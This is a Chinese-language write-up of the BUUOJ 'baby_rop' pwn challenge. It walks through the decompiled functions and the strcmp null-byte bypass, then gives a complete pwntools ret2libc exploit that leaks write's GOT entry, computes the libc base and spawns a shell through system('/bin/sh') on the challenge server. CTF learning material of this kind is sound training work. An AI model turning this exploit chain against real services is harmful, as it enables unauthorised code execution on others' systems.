baby_rop 1
1.checksec
2.ida
点进sub_80486BB()查看
setvbuf(stdin, 0, 2, 0);:这行代码用于设置标准输入流(stdin)的缓冲区行为。setvbuf()函数用于设置文件流的缓冲方式。这里将stdin的缓冲区设置为无缓冲(参数2),这意味着输入的数据将立即被处理,而不是先缓存在内存中。
再看看sub_804871F(buf)
memset(buf, 0, sizeof(buf));将数组buf的所有元素设置为0。
read(0, buf, 0x20u)的作用是:
1.0表示从标准输入设备(stdin)读取数据。
2.buf是一个指向存储读取数据的缓冲区的指针。
0x20u表示要读取的最大字节数,这里是32个字节(0x20的十六进制表示)。
3.函数执行后,它将返回实际读取的字节数。
在该处,读取的字节数将被存储在v5变量中。
sprintf(s, “%ld”, a1)的作用是:
1.s是一个指向字符数组的指针,用于存储转换后的字符串。
2."%ld"是格式化字符串,指定了要将a1转换为长整型并输出的格式。
3.a1是一个整数,将被转换为字符串。
函数执行后,将会把转换后的字符串存储在s中。
关于传递main函数地址的位置:由于write_plt作为为retuen address,那么write_plt后应该紧接着传递一个ebp地址作为write函数结尾时的ret的返回地址,write有三个参数,第一个为1,第二个为write_got表的地址(该地址不是write的真实地址,其内容才是)。第三个为读取长度,由于32为程序的地址长度为4byte,该参数穿4即可。
strcmp()函数遇到’\0’停止运行(‘\0’==‘\x00’),就会执行下面的exit(0)。我们想要执行成功就要绕过exit(0),可以利用’\0’来绕过。要查看buf首地址到buf[7]的距离:0x7 (0x2c-0x25)
刚开始从csdn上的exp都不行,才发现是自己的LibcSearcher库不全,故可以把题上的libc库下载到kali中使用
exp
from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',25742)
elf=ELF("./pwn15")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x8048825
payload1=b'\x00'+7*b'\xff'
p.sendline(payload1)
p.recvuntil('Correct\n')
payload2=b'A'*235+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
write_addr=u32(p.recv(4))
print(hex(write_addr))
libc=ELF('./ubantu1632.so')#加载题目中的libc库
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh'))
p.sendline(payload1)
payload3=b'A'*235+p32(system_addr)+p32(1)+p32(bin_sh)
p.sendline(payload3)
p.interactive()